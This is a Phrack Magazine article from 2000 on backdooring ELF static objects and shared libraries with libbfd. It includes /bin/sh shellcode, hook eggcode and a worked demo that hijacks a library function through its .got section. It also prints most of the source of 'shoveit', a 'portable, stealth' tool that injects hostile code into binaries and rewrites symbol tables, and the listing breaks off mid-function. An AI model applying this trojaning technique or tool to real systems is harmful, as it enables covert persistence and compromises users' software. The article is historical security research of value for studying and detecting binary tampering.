[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]


..[ Phrack Magazine ]..
.:: Backdooring binary objects ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #56 | Release date : 2000-01-05 | Editor : route
IntroductionPhrack Staff
Phrack LoopbackPhrack Staff
Phrack Line Noisevarious
Phrack ProphilePhrack Staff
Bypassing StackGuard and StackShieldKil3r & Bulba
Project Area52Irib & Simple Nomad & Jitsu-Disk
Shared Library Redirection via ELF PLT InfectionSilvio
Smashing C++ VPTRsrix
Backdooring binary objectsklog
Things To Do in Cisco Land When You're Deadgaius
A Strict Anomaly Detection Model for IDSbeetle & sasha
Distributed Toolslifeline & sasha
Introduction to PAMBryan Ericson
Exploiting Non-adjacent Memory Spacestwitch
Writing MIPS/Irix shellcodescut
Phrack Magazine Extraction UtilityPhrack Staff
Title : Backdooring binary objects
Author : klog
                      - P H R A C K   M A G A Z I N E -

                            Volume 0xa Issue 0x38
                                  05.01.2000
                                  0x09[0x10]

|------------------------- BACKDOORING BINARY OBJECTS ------------------------|
|-----------------------------------------------------------------------------|
|-------------------------- klog <[email protected]> --------------------------|


----|  Introduction

Weakening a system in order to keep control over it (or simply to alter
some of its functionality) has been detailed in many other papers.  From
userland code modification to trojan kernel code, most of the common
backdooring techniques are either too dirty, or just not portable enough.
How can we create a standard and clean way to backdoor binary files?  The
right answer to this question is just the same as for "How can we create a
standard and clean way to debug and analyze binary files?".  The GNU Project
found the answer even before we could ask the question.

	ipdev:~$ ldd /usr/bin/nm
        libbfd.so.2.6.0.14 => /usr/lib/libbfd.so.2.6.0.14
        libc.so.5 => /lib/libc.so.5.3.12
	ipdev:~$


----|  The BFD.

The Binary File Descriptor.  Becoming the de facto standard in binary file
analysis, manipulation and linking, libbfd will support about any file format
and architecture you can own.  Although it is mostly intended for ELF support,
its frontend will enable you to transparently modify objects with various
formats like COFF, AOUT or IEEE.  At this very moment, it is probably your
best bet for shared library backdooring.  


----|  Overview

The following article will show you the bliss of backdoor portability by
describing both static and shared ELF object backdooring methods.  It will be
divided into the logical steps of the operation which are the code writing
procedure, the code insertion procedure, and finally, the hooking procedure.


QUICK NOTE:

Before diving in, the reader needs to know a few things...  First of all,
libbfd is *usually* found on most systems, including linux, and *bsd.  If it
is not, it is included in the GNU binutils distribution.  Fetch it.  Also,
it is important to know that libbfd relies on the libiberty library, which
you would be lucky to find on your target host.  It is small, and you might
want to consider making it a part of your portable backdooring toolkit.
Finally, it might happen that BFD does *not* provide the required facilities
to completely insert our malicious code in specific situations.  Thus, we
might have to use object format specific techniques in order to complete our
goal.


----|  Writing the hostile code

This section will look familiar to most of you shellcode writers out there.  As
a matter of fact, it is probably the most painful step in the portability of
our backdooring technique.  However, it should be reasonably painfree for the
average hacker who has some knowledge of assembly on common architectures.  

The easiest way to write our code would be to do it in asm, using the
"eggcode" method, which enables us to insert the hostile code in unknown
environments without any fear of breaking its internal links.  By using
relative addressing, it becomes possible to write code which would be
completely independent from its environment, as seen in most exploit
shellcodes.  An example of eggcode (for those who never touched one before)
would be the following: 

	ipdev:~/tmp/bfd$ cat eggcode.s

	.text
	        .align 4
	.globl main
	        .type    main,@function
	main:
	        xorl %eax,%eax
	        xorl %edx,%edx
	        movb $0xb,%al
	        jmp .jumpme
	.callme:
	        popl %ebx
	        leal 0x8(%ebx),%ecx
	        movl %ebx,0x8(%ebx)
	        movl %edx,0xc(%ebx)
	        int $0x80
	.jumpme:
	        call .callme
		.string "/bin/sh\0"
	
	ipdev:~/tmp/bfd$ 
	
However, when it comes to backdoors, where function call redirection is often
(always?) involved, such a technique becomes inapplicable.  As a matter of
fact, that kind of backdoor would render the hooked function unusable, since
no redirection to the original function can be done on specific conditions.
For that purpose, we will have to find a way to refer to functions located
in our target object.

Fortunately for us, there is a pretty easy way to do such a thing.  The only
condition is that the referenced symbol must be located within the library
we are backdooring (not imported from somewhere else).  Let's suppose that we
want to backdoor a function called huhu() in some library, and that the
backdoor will have to redirect the call to another function called haha()
within the same library.  In this example, haha() will be passed a string
which will be printed on the screen.

Before being able to find out what address we want to call from our backdoor,
we will have to determine the position of haha() within the targeted
library...

	ipdev:~/tmp/bfd$ nm lib.so
	00001214 A _DYNAMIC
	00001208 A _GLOBAL_OFFSET_TABLE_
	00001264 A __bss_start
	00001264 A _edata
	00001264 A _end
	00000200 A _etext
	000001d8 t gcc2_compiled.
	000001d8 T haha
	000001ec T huhu
	         U printf
	ipdev:~/tmp/bfd$

We can see that it will map into memory at address 0x1d8.  To deduce the
address we want to call in our backdoor, we will have to consider the code
relocation which will be performed when inserting our backdoor into the
library.  The resulting address would be 1d8-[reloc_offset].  That in mind,
le'ts write the eggcode of our backdoor:

	ipdev:~/tmp/bfd$ cat > eggcode.s

	.text
	        .align 4
	.globl main
	        .type    main,@function
	main:
	        nop
	        nop
	        nop
	        nop                  
	        nop
	        nop
	        pushl %ebp
	        movl %esp,%ebp
	        jmp string
	callit: call 0x1d8-0x1214-0x10
	        addl $4,%esp
	        movl %ebp,%esp
	        popl %ebp
	        ret
	string:
	        call callit
	        .string "whore\n"
	
	^D
	ipdev:~/tmp/bfd$

In this example, the relocation offset of our code is 0x1214.  The subtraction
of 0x10 is required because the called address in the code is considered by
the compiler as relative to the position of the call instruction, when we call
an absolute address.  As you probably guessed, the call instruction ends at
address 0x10 within the eggcode.  Also, you might have noticed all the nops at
the beginning of the code.  This is purely to avoid any padding or
miscalculation problem.  As in all exploit writing, we are never careful
enough.


----|  Inserting the hostile code

Now comes the part where libbfd will become useful.  As a matter of fact,
bfds have the capability of describing a complete binary file (from head
to tail) more or less quite accurately.  Accuracy, in this case, refers to the
ability to interpret various data from the object file, which is highly
influenced by the transparency required by libbfd when it comes to such a task.
Thus, multiple format-specific features will be sacrificed in order to
protect the portability of the bfd interface.  However, we do not need to
worry about that for the moment, since our task strictly consists of malicious
code insertion.  Fortunately, our trojan insertion method will only rely on
the presence of multiple sections within an object, which is common on most
architectures.  Before proceeding to this, we will have to take a look at
what APIs libbfd offers us.

At the time of this writing (bfd version < 3.0), libbfd does not permit direct
modification of an object file.  The two most useful functions libbfd does
offer us are bfd_openr() and bfd_openw().  They both require the object file
name and the architecture type as arguments, and they both return a descriptor
to the allocated bfd.  When a bfd is being opened in read mode (openr), none
of its structures can be dumped into the physical file.  On the other hand,
when it is opened in write mode (openw), none if its data can be read.  For
this reason, in order to insert our backdoor, we will have to copy the binary
file, section by section, and perform the data insertion while copying the
host section of our target file.

The process of copying the object file is composed of several steps, including
the reproduction of the file's start address, flags, architecture, symbol
table, debugging information and various sections.  Since a sample backdooring
program code called shoveit.c is appended at the end of this article, we
will only take a look at the interesting functions of libbfd when it comes
to inserting our backdoor into the destination object (the hooking of the
various symbol tables is described in the next sections).  For informational
purposes, let's take a look at the transparent libbfd view of a binary
file section:

	typedef struct sec
	{
		const char *name;
		int index;
		struct sec *next;
		flagword flags;
	#define	SEC_NO_FLAGS        0x000
	#define SEC_ALLOC           0x001
	#define SEC_LOAD            0x002
	#define SEC_RELOC           0x004
	#define SEC_BALIGN          0x008
	#define SEC_READONLY        0x010
	#define SEC_CODE            0x020
	#define SEC_DATA            0x040
	       	unsigned int user_set_vma : 1;
	       	unsigned int reloc_done : 1;
	       	unsigned int linker_mark : 1;
		bfd_vma vma;
		bfd_vma lma;
		bfd_size_type _cooked_size;
		bfd_size_type _raw_size;
		bfd_vma output_offset;
		struct sec *output_section;
		unsigned int alignment_power;
		struct reloc_cache_entry *relocation;
		struct reloc_cache_entry **orelocation;
		unsigned reloc_count;
		file_ptr filepos;
		file_ptr rel_filepos;
		file_ptr line_filepos;
		PTR userdata;
	   	unsigned char *contents;
	   	alent *lineno; 
	   	unsigned int lineno_count;
	   	file_ptr moving_line_filepos;
	   	int target_index;
	   	PTR used_by_bfd;
	   	struct relent_chain *constructor_chain;
	   	bfd *owner;
	   	struct symbol_cache_entry *symbol;
	   	struct symbol_cache_entry **symbol_ptr_ptr;
	   	struct bfd_link_order *link_order_head;
	   	struct bfd_link_order *link_order_tail;
	} asection ;


All the bfd represented sections of a binary file are linked together with
the *next pointer, and point back to their parent bfd with a *owner pointer.
Most of the other fields are used either by libbfd's internal procedures,
or by the frontend macros.  They are pretty much self-explanatory; however,
for more information on what a given field is intended for, refer to the bfd.h
header file.

In order to copy sections from one bfd to another, you first must register a
handler with the bfd_map_over_sections() function, which will be executed for
each section of the input bfd.  This mapping function must be passed the bfd of
the file in question, and a pointer to the handling function.  An optional
"obj" pointer can also be passed to this handling function, which must have
the following prototype:

	handler(bfd *, asection *, void *);

In order to first create the destination sections which will correspond to the
sections of our source object, we will register a setup_section() function,
which will set each destination section with its respective vma, lma, size,
alignment and flags.  As you can see in the code below, we must pay particular
attention to keep enough free space in the section which will host our hostile
code such that both our backdoor and the original section will comfortably fit.
Also, once the backdoor has been placed into a section, all of the following
section's vma and lma are readjusted so that our hostile code will not be
overwritten by those sections once mapped into virtual memory.

Once the creation of our destination sections is done, we will have to copy
the symbol table of our source file, which must be done before any section
content is reproduced.  As was said before, this will be examined in the
following sections. 

Finally, we are ready to copy the data from one section to its respective
destination (which is performed by the copy_section() handler in the code
below).  Data can be read from and written to a bfd section by using the
bfd_get_section_contents and bfd_set_section_contents respectively.  Both
of these functions require the following arguments:

	- the target/source bfd,
	- section pointers,
	- a pointer to the buffer (which will be filled with/dumped to the
 	  pointed section),
	- the offset within the section,
	- the size of the buffer.

The data will be physically dumped into the object file once the bfd_close()
function has been called.

In a usual situation where a section is modified while being copied, we
would have to relocate all the absolute references to symbols located in
the sections following the altered section.  However, this operation can
be avoided if the host section is among the last ones to be mapped into
virtual memory, after which no other section is referenced to with
absolute addressing.  If we take a quick look at the following example:

	ipdev:~/tmp/bfd$ objdump -h /usr/lib/crt1.o

	/usr/lib/crt1.o:     file format elf32-i386

	Sections:
	Idx Name          Size      VMA       LMA       File off  Algn
	  0 .text         00000080  00000000  00000000  00000040  2**4
	                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
	  1 .data         00000004  00000000  00000000  000000c0  2**2
	                  CONTENTS, ALLOC, LOAD, DATA
	  2 .bss          00000000  00000000  00000000  000000c4  2**2
	                  ALLOC
	ipdev:~/tmp/bfd$

We would probably consider placing our code into the data section of the
crt1.o program header.  However, the situation may become quite different
for shared libraries:

	ipdev:~/tmp/bfd$ objdump -h lib.so
        
        lib.so:     file format elf32-i386

        Sections:
        Idx Name          Size      VMA       LMA       File off  Algn
          0 .hash         0000003c  00000094  00000094  00000094  2**2
                          CONTENTS, ALLOC, LOAD, READONLY, DATA
          1 .dynsym       000000a0  000000d0  000000d0  000000d0  2**2
                          CONTENTS, ALLOC, LOAD, READONLY, DATA
          2 .dynstr       00000050  00000170  00000170  00000170  2**0
                          CONTENTS, ALLOC, LOAD, READONLY, DATA
          3 .rel.text     00000018  000001c0  000001c0  000001c0  2**2
                          CONTENTS, ALLOC, LOAD, READONLY, DATA
          4 .text         00000028  000001d8  000001d8  000001d8  2**2
                          CONTENTS, ALLOC, LOAD, READONLY, CODE
          5 .rodata       00000006  00000200  00000200  00000200  2**0
                          CONTENTS, ALLOC, LOAD, READONLY, DATA
          6 .data         00000000  00001208  00001208  00000208  2**2
                          CONTENTS, ALLOC, LOAD, DATA
          7 .got          0000000c  00001208  00001208  00000208  2**2
                          CONTENTS, ALLOC, LOAD, DATA
          8 .dynamic      00000050  00001214  00001214  00000214  2**2
                          CONTENTS, ALLOC, LOAD, DATA
          9 .bss          00000000  00001264  00001264  00000264  2**2
                          ALLOC
         10 .note         00000014  00000000  00000000  00000264  2**0
                          CONTENTS, READONLY
         11 .comment      00000012  00000000  00000000  00000278  2**0
                          CONTENTS, READONLY
        ipdev:~/tmp/bfd$

In this case, our best bet would probably be the global offset table
(got) of the library, since we do not want to break absolute links in the
preceding sections.  Whenever possible, we will try not to alter special
sections like dynsym, dynstr or dynamic, which are often analyzed by tools
like nm or objdump.


----|  Standard symbol hooking

Symbol alteration is probably the most important part of the backdooring
procedure.  As a matter of fact, once our code is written and pushed into
the target object, we must find a way to trigger its execution whenever
the function we want to backdoor is called by a trusting process. 

This first type of symbol hooking is quite interesting when we try to
backdoor static objects.  The standard symbol table of a binary file
is easily accessible thru the bfd interface, and therefore, this operation
wont both be simple and portable.  Each of the symbols is canonically
represented by libbfd like this:

	typedef struct symbol_cache_entry
	{
	  	struct _bfd *the_bfd;
	  	const char *name;
	  	symvalue value;
		flagword flags;
	#define BSF_NO_FLAGS            0x00
	#define BSF_LOCAL               0x01
	#define BSF_GLOBAL              0x02
	#define BSF_EXPORT              BSF_GLOBAL  
	#define BSF_DEBUGGING           0x08
	#define BSF_FUNCTION            0x10
	#define BSF_KEEP                0x20
	#define BSF_KEEP_G              0x40
	#define BSF_WEAK                0x80
	#define BSF_SECTION_SYM         0x100
	#define BSF_OLD_COMMON          0x200
	#define BFD_FORT_COMM_DEFAULT_VALUE 0
	#define BSF_NOT_AT_END          0x400
	#define BSF_CONSTRUCTOR         0x800
	#define BSF_WARNING             0x1000
	#define BSF_INDIRECT            0x2000
	#define BSF_FILE                0x4000
	#define BSF_DYNAMIC             0x8000
	#define BSF_OBJECT              0x10000
	  	struct sec *section;
	  	union
	    	{
	      		ptr p;
	      		bfd_vma i;
	    	} udata;
	} asymbol;

Unlike sections, symbol entries are located using an array of pointers, but
they also point back to both their parent bfd (using *the_bfd) and their
parent section (using *section).  Symbols we will be interested in hooking
will have the BSF_FUNCTION flag on.  The name and the relative value of the
symbol are pointed and stored in the name and value fields, respectively (as
you could have guessed).  We will use both of them in order to locate our
targeted symbol. 

In order to read the symbol table of an object file, we will first have to
get its size by using the bfd_get_symtab_upper_bound() (whose only
argument is the bfd of our target object).  Once this is done, we will be
able to malloc a buffer and fill it with the object's symbol table using
bfd_canonicalize_symtab().  This bfd function will receive the object's
bfd followed by the malloc'ed buffer as arguments, and return the number
of canonicalized symbols read.

When processing the table in order to hook our specific symbol (which we
will seek by value instead of name, for reasons we will see in the next
section), we will have to consider the fact that each symbol's value
has been modified by libbfd to look relative to their respective section's
beginning.  For that reason, the first symbol of a random section will
always seem to have a value of 0x0, although its pretty different
physically.

Once the symbol table has been altered at will, it is possible to dump it
back into its object file using the bfd_set_symtab() function, which
requires as argument the object's bfd, the pointer to the symbol table
(the malloc'ed buffer) and the number of symbols to be written.


----|  Dynamic symbol hooking

When it comes to hooking shared objects the hooking process becomes quite
different.  First of all, shared objects use a different symbol table
than the one used for static linking.  Under ELF, these symbols are stored
in the ".dynsym" section, but remain represented in the same way a static
symbol is.  Also, all the names of the symbols stored in the ".dynsym"
section of the object are kept in a different section, called ".dynstr".

However, this is far from being the most problematic part.  Although you
will be able to use libbfd to read dynamic symbols in the same way you
read standard symbols, there does not seem to be any dynamic symbol table
dumping function implemented in libbfd yet.  In order words, it means that
our wonderfully portable insertion/hooking combo technique will lose
pretty much of its portability in this operation.  However, since dynamic
linking is almost only (in the most interesting cases) used in ELF, the
sacrifice is not too expensive. 

Now that we know we will have to manually modify the dynamic symbol table,
we have a small practical dilemma.  Since the dynamic symbol table is located
within a section of our target object, we will probably want to perform
dynamic symbol hooking while copying each of the file's section.  The dilemma
is that, as said before, the symbol names are stored in a different section of
the file.  Two possibilities are offered to us.  The first one is to load both
tables into memory and resolve the links between the *st_name fields of the
.dynsym section and the strings of the .dynstr section.  However, since we are
lazy, we will probably prefer the alternative solution, where we will locate
each symbol by its original value instead of its name (as noted in the
previous section).

Now that we are ready to process the dynamic symbol table manually, it would
be required to know what an ELF symbol entry looks like:

	typedef struct elf32_sym {
  		Elf32_Word    st_name;
  		Elf32_Addr    st_value;
  		Elf32_Word    st_size;
  		unsigned char st_info;
  		unsigned char st_other;
  		Elf32_Half    st_shndx;
	} Elf32_Sym;

As in the bfd transparent symbol structure, most of the fields we are
interested in are pretty self-explanatory.  If we now take a look at what the
.dynsym section looks like, we will see this:

	ipdev:~/tmp/bfd$ objdump --full-contents --section=.dynsym lib.so

	lib.so:     file format elf32-i386

	Contents of section .dynsym:
	 00d0 00000000 00000000 00000000 00000000  ................
	 00e0 01000000 14120000 00000000 1100f1ff  ................
	 00f0 0a000000 08120000 00000000 1100f1ff  ................
	 0100 20000000 d8010000 13000000 12000500   ...............
	 0110 25000000 00000000 00000000 10000000  %...............
	 0120 2c000000 ec010000 14000000 12000500  ,...............
	 0130 31000000 00020000 00000000 1100f1ff  1...............
	 0140 38000000 64120000 00000000 1100f1ff  8...d...........
	 0150 3f000000 64120000 00000000 1100f1ff  ?...d...........
	 0160 4b000000 64120000 00000000 1100f1ff  K...d...........
	ipdev:~/tmp/bfd$

You can observe that the first entry of the dynamic symbol table (the second
being used by the _DYNAMIC section symbol which has value of 0x1214) is nulled
out.  To our eyes, it's just another mystic feature established by the ELF
standard, which is not worth being taken in consideration for our hooking
operation.


----|  SHOVEIT: a multipurpose code insertion tool

In order to simplify the task of backdooring shared libraries and static
objects, I wrote a nice little tool which will enable you to use some bfd
APIs without having to worry about programming.  Of course, this could open the
door to script kiddies, but they would have had to go thru all of this article
before using it, and I doubt most of them can do that.  The tool is located
at the end of the article, extractable using the Phrack Magazine Extraction
Utility.

Lets take a look at a practical code insertion example using shoveit.  Suppose
here we are backdooring the same lib.so shared library as we were trying to
backdoor at the beginning of this article.  Its most interesting symbols are
still the function haha (the one we call) at address 0x1d8 and the function
huhu (the one we hook) at address 0x1ec.  We are also using the backdoor we
wrote previously, "eggcode.s". 

	ipdev:~/tmp/bfd$ gcc -c test.s
	ipdev:~/tmp/bfd$ objdump -h test.o
	
	test.o:     file format elf32-i386
	
	Sections:
	Idx Name          Size      VMA       LMA       File off  Algn
	  0 .text         00000023  00000000  00000000  00000034  2**2
	                  CONTENTS, ALLOC, LOAD, READONLY, CODE
	  1 .data         00000000  00000000  00000000  00000058  2**2
	                  CONTENTS, ALLOC, LOAD, DATA
	  2 .bss          00000000  00000000  00000000  00000058  2**2
	                  ALLOC
	ipdev:~/tmp/bfd$
	
We now see that all of our backdoor's code is stored in the eggcode's
text section.  Before pushing it into our target library, we will have to
verify where it will be placed after insertion, so that we can hook the
library's symbol table correctly.

	ipdev:~/tmp/bfd$ objdump -h lib.so
	
	lib.so:     file format elf32-i386
	
	Sections:
	Idx Name          Size      VMA       LMA       File off  Algn
	  0 .hash         0000003c  00000094  00000094  00000094  2**2
	                  CONTENTS, ALLOC, LOAD, READONLY, DATA
	  1 .dynsym       000000a0  000000d0  000000d0  000000d0  2**2
	                  CONTENTS, ALLOC, LOAD, READONLY, DATA
	  2 .dynstr       00000050  00000170  00000170  00000170  2**0
	                  CONTENTS, ALLOC, LOAD, READONLY, DATA
	  3 .rel.text     00000018  000001c0  000001c0  000001c0  2**2
	                  CONTENTS, ALLOC, LOAD, READONLY, DATA
	  4 .text         00000028  000001d8  000001d8  000001d8  2**2
	                  CONTENTS, ALLOC, LOAD, READONLY, CODE
	  5 .rodata       00000006  00000200  00000200  00000200  2**0
	                  CONTENTS, ALLOC, LOAD, READONLY, DATA
	  6 .data         00000000  00001208  00001208  00000208  2**2
	                  CONTENTS, ALLOC, LOAD, DATA
	  7 .got          0000000c  00001208  00001208  00000208  2**2
	                  CONTENTS, ALLOC, LOAD, DATA	
	  8 .dynamic      00000050  00001214  00001214  00000214  2**2
	                  CONTENTS, ALLOC, LOAD, DATA
	  9 .bss          00000000  00001264  00001264  00000264  2**2
	                  ALLOC
	 10 .note         00000014  00000000  00000000  00000264  2**0
	                  CONTENTS, READONLY
	 11 .comment      00000012  00000000  00000000  00000278  2**0
	                  CONTENTS, READONLY
	ipdev:~/tmp/bfd$ nm --dynamic lib.so
	00001214 A _DYNAMIC
	00001208 A _GLOBAL_OFFSET_TABLE_
	00001264 A __bss_start
	00001264 A _edata
	00001264 A _end
	00000200 A _etext
	000001d8 T haha
	000001ec T huhu
	         U printf
	ipdev:~/tmp/bfd$

Great.  We observe that if we insert our hostile code right after the global
offset table's content, we will have to alter the huhu's value from 0x1ec
to 0x1214 (0x1208+0xc).  We will now use shoveit to append our backdoor code
to our library's .got section, and to hook the "huhu" symbol so it points
to the position at which our backdoor was inserted.

	ipdev:~/tmp/bfd$ ./shoveit test.o .text lib.so .got 0x1ec 0x1214
	Hooking statsyms from 0x1ec to 0x1214
	Hooking dynsyms from 0x1ec to 0x1214
	Inserting 35 hostile bytes into .got
	ipdev:~/tmp/bfd$ nm --dynamic lib.so
	00001214 A _DYNAMIC
	00001208 A _GLOBAL_OFFSET_TABLE_
	00001264 A __bss_start
	00001264 A _edata
	00001264 A _end
	00000200 A _etext	
	000001d8 T haha
	00001214 T huhu
	         U printf
	ipdev:~/tmp/bfd$ objdump -D --section=.got \
			 --start-address=0x1214 lib.so
	
	lib.so:     file format elf32-i386
	
	Disassembly of section .got:
	00001214 <.got+c> nop
	00001215 <.got+d> nop
	00001216 <.got+e> nop
	00001217 <.got+f> nop
	00001218 <.got+10> nop
	00001219 <.got+11> nop
	0000121a <.got+12> pushl  %ebp
	0000121b <.got+13> movl   %esp,%ebp
	0000121d <.got+15> jmp    0000122b <_DYNAMIC+17>
	0000121f <.got+17> call   000001d8 <haha>
	00001224 <.got+1c> addl   $0x4,%esp
	00001227 <.got+1f> movl   %ebp,%esp
	00001229 <.got+21> popl   %ebp
	0000122a <.got+22> ret
	0000122b <.got+23> call   0000121f <_DYNAMIC+b>
	00001230 <.got+28> ja     0000129a <__bss_start+36>
	00001232 <.got+2a> outsl  %ds:(%esi),(%dx)
	00001233 <.got+2b> jb     0000129a <__bss_start+36>
	00001235 <.got+2d> orb    (%eax),%al
	ipdev:~/tmp/bfd$
	
Wonderful.  We have inserted our hostile code at vma 0x1214 in the library
and hooked the huhu symbol to make it point to it.  Furthermore, you can
observe that our calculations from the first part of this article were right:
our code successfully calls the haha() function within the target library.
Nothing can stop us from now on...

	ipdev:~/tmp/bfd$ ldd prog
	        ./lib.so => ./lib.so
	ipdev:~/tmp/bfd$ ./prog
	whore
	ipdev:~/tmp/bfd$


----|  The END (sniff)

I hope you all enjoyed this little demonstration.  Of course, this is not a
new class of vulnerability, however, I hope it will help some people to
understand that once your host has lost its integrity, you should always
assume the worst.  The fact that a system's source code is tightly preserved
from prying eyes is not a valid argument when it comes to security.  One
way or the other, the standards you follow will make your software as
potentially vulnerable as any other software.

Greats to adm, promisc, wiretrip, teso, w00w00, and of course, phrack.


----|  Shoveit

<++> p56/bfd/shoveit.c !6de17d5d
/*
 *
 *	Coded by klog <[email protected]>
 *
 *	libbfd relies on libiberty, so
 *	cc -c shoveit.c first, then cc shoveit.o -lbfd -liberty
 *
 *	shoveit <src_obj> <src_segment> <dst_obj> <dst_segment>
 * 		<orig_addr> <new_addr>
 *
 *	This tool will insert "src_segment" from "src_obj" into
 *	"dst_segment" of "dst_obj", and alter "symbol" to physical 
 *	value "value".
 *
 *	Portable, stealth, flexible.
 *	Have fun :)
 *
 *	NB: shoveit does *not* perform relocation
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <strings.h>
#include <linux/elf.h>

#define DYNSTAB ".dynsym"

#define nonfatal(s) {perror(s); return;}
#define fatal(s) {perror(s); exit(-1);}
#define bfd_nonfatal(s) {bfd_perror(s); return;}
#define bfd_fatal(s) {bfd_perror(s); exit(-1);}

char *input_section;
char *output_section;
char *input_filename;

static bfd *bd_bfd;
static sec_ptr bdsection;
static int bd_size = 0;
static int isdone = 0;
static int vma_offset = 0;

static long hooksym;
static long hookval;

void hook_dynstab(struct elf32_sym *symtab, bfd_size_type size)
{
	int symcount, i;

 	symcount = size/sizeof(asymbol);
	for(i=0;i<symcount;i++) {
		if (symtab[i].st_value == hooksym) 
			symtab[i].st_value = hookval;
	}
}

void setup_section(bfd *ibfd, sec_ptr isection, bfd *obfd)
{
  	struct section_list *p;
  	sec_ptr osection;
  	bfd_vma vma;
  	bfd_vma lma;
  	flagword flags;
  	char *err;
	int isdest = 0;

	if (!strcmp(output_section, isection->name)) isdest = 1;	

  	osection = bfd_make_section_anyway(obfd, 
		   bfd_section_name(ibfd, isection));

  	if (osection == NULL)
		fatal("making section");

	if (isdone) vma_offset = bd_size;

	if (isdest) {
  		if (!bfd_set_section_size(obfd, osection,
			bfd_section_size(ibfd, isection)+bd_size))
			bfd_fatal("setting size");
		isdone = 1;
	} else {
  		if (!bfd_set_section_size(obfd, osection,
			bfd_section_size(ibfd, isection)))
			bfd_fatal("setting size");		
	}

  	vma = bfd_section_vma (ibfd, isection) + vma_offset;
  	if (!bfd_set_section_vma(obfd, osection, vma))
		fatal("setting vma");

  	osection->lma = isection->lma + vma_offset;

  	if (bfd_set_section_alignment(obfd, osection,
		bfd_section_alignment(ibfd, isection)) == false)
		fatal("setting alignment");

  	flags = bfd_get_section_flags(ibfd, isection);
  	if (!bfd_set_section_flags(obfd, osection, flags))
		bfd_nonfatal("setting flags");

  	isection->output_section = osection;
  	isection->output_offset = 0;

  	if (!bfd_copy_private_section_data(ibfd, isection, obfd, osection))
		fatal("setting private data");

  	return;
}


void copy_section(bfd *ibfd, sec_ptr isection, bfd *obfd)
{
  	struct section_list *p;
  	arelent **relpp;
  	long relcount;
  	sec_ptr osection;
  	bfd_size_type size;
      	long relsize;
	int isdest = 0;
  	char **matching;

	if (!strcmp(output_section, isection->name)) isdest = 1;	

  	osection = isection->output_section;
  	size = bfd_get_section_size_before_reloc(isection);
  	if (size == 0 || osection == 0 || bd_size == 0)
    		return;

  	if (bfd_get_section_flags(ibfd, isection) & SEC_HAS_CONTENTS)
    	{
      		PTR memhunk = (PTR)xmalloc((unsigned) size);
      		if (!bfd_get_section_contents(ibfd, isection, 
				memhunk, (file_ptr) 0, size))
	  		nonfatal ("get_contents");

		if (isdest) {

	      		PTR bdhunk = (PTR)xmalloc((unsigned)size+bd_size);

			printf("Inserting %i hostile bytes into %s\n",
			bd_size, osection->name);

			bcopy(memhunk, bdhunk, size);

      			if (!bfd_get_section_contents(bd_bfd, bdsection, 
					bdhunk+size, 0, bd_size))
	  			bfd_nonfatal ("get_contents");

	      		if (!bfd_set_section_contents(obfd, osection, 
					bdhunk, (file_ptr) 0, size+bd_size))
	  			bfd_nonfatal("set_contents");
      			free (bdhunk);
		} else {
			if (!strcmp(osection->name, DYNSTAB)) {
				printf("Entering %s\n", osection->name);
				hook_dynstab(memhunk, size);
			}
      			if (!bfd_set_section_contents(obfd, osection, 
					memhunk, (file_ptr) 0, size))
	  			bfd_nonfatal("set_contents");
    		}
		free (memhunk);
	}
}


void copy_object(bfd *ibfd, bfd *obfd)
{
	long start;
  	long symcount, i;
      	long symsize;
	char **matching;
	asymbol **symtab;

  	start = bfd_get_start_address(ibfd);

  	if (!bfd_set_format (obfd, bfd_get_format(ibfd)))
      		nonfatal ("set_format");

	bd_bfd = bfd_openr(input_filename, "i586-pc-linux-gnulibc1");
	if (!bd_bfd) bfd_fatal("bfd_openr");
  	bfd_check_format_matches(bd_bfd, bfd_object, &matching);
	bdsection = bfd_get_section_by_name(bd_bfd, input_section);
	if (!bdsection) bfd_fatal("bfd_section");
	bd_size = bfd_section_size(bd_bfd, bdsection);
	if (!bd_size) bfd_fatal("section_size");

  	if (!bfd_set_start_address (obfd, start) || 
	    !bfd_set_file_flags(obfd,(bfd_get_file_flags(ibfd)
	    & bfd_applicable_file_flags(obfd))))
    	{
      		bfd_fatal("set_file_flags");
    	}

  	if (!bfd_set_arch_mach(obfd, bfd_get_arch (ibfd),
	    	bfd_get_mach (ibfd)))
    	{
      		fprintf (stderr,
	       		"Output file cannot represent architecture %s\n",
	       		bfd_printable_arch_mach (bfd_get_arch(ibfd),
					bfd_get_mach(ibfd)));
    	}
  	if (!bfd_set_format (obfd, bfd_get_format(ibfd)))
      		nonfatal ("set_format");

  	bfd_map_over_sections(ibfd, (void *)setup_section, obfd);

      	symsize = bfd_get_symtab_upper_bound(ibfd);
      	if (symsize < 0) nonfatal("get_symtab");

      	symtab = (asymbol **)xmalloc(symsize);
      	symcount = bfd_canonicalize_symtab(ibfd, symtab);
      	if (symcount < 0) nonfatal("canon_symtab");

	printf("Scanning %i symbols\n", symcount);
        for(i=0;i<symcount;i++)
                if (symtab[i]->value == hooksym) {
                        symtab[i]->value = hookval;     
			printf("Static symbol \"%s\" =+ %x\n",
				symtab[i]->name, symtab[i]->value);
			break;
	}       

  	bfd_set_symtab(obfd, symtab, symcount);

  	bfd_map_over_sections(ibfd, (void *)copy_section, obfd);

  	if (!bfd_copy_private_bfd_data (ibfd, obfd))
		fatal("bfd_copy_private_bfd_data");
}

main(int argc, char *argv[])  
{
  	bfd *ibfd;
  	char **matching;
	char *output_filename;

	input_filename = argv[1];
	input_section = argv[2];
	output_filename = argv[3];
	output_section = argv[4];
	hooksym = strtol(argv[5], NULL, 16);
